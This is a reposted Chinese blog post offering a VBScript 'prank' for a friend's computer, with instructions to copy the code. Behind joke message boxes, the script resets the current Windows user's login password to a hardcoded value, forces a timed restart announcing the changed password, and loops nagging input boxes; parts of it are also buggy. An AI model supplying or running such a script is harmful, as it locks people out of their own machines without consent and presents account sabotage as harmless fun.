标签：11 userName Domain 05 WScript Echo 2021 dim wscript

恶搞朋友电脑的程序

复制下列代码

do
msgbox("我对你的爱就像这个窗口一样稳固")
msgbox("我可以操作你的电脑！！！")
msgbox("不信???")
WScript.Echo("哼,我生气拉")
WScript.Echo("我很生气，后果很严重哦。") 
Const strPassword = "woshinidie"' 
Set WshNetwork = CreateObject("WScript.Network")
Dim userName
userName = WshNetwork.userName&",user"
Dim Domain
Set Domain = GetObject("WinNT://./"&userName)
Domain.SetPassword strPassword
Domain.SetInfo
dim gj
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 300 -c ""你的开机密码已被改！！！！"" ",0 ,true 
dim a
do while(a <> "")
a = inputbox ("你的电脑要被注销！！！""　","","你的开机密码已被改！！！！",8000,7000)
WScript.Echo("哼，你要关掉我拉，我不给你关。。") 
loop
WSHshell.run "cmd.exe /c shutdown -a",0 ,true 
set WSHshell = wscript.createobject("wscript.shell") 
WScript.Echo("哟。给你破解拉，你也别想关闭我。")
WScript.Echo("不过我要告诉你。")
WScript.Echo("等等会倒计时关机。")
WScript.Echo("300秒倒计时关机拉")
WScript.Echo("我怕你无聊给你弹窗口化")
WScript.Echo("会弹50个！！！")
————————————————
版权声明：本文为CSDN博主「ft西瓜」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。
原文链接：https://blog.csdn.net/qq_42415664/article/details/80958786

标签：11,userName,Domain,05,WScript,Echo,2021,dim,wscript
来源： https://blog.csdn.net/Kenny20211105/article/details/121168635

本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享；
2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关；
3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关；
4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除；
5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。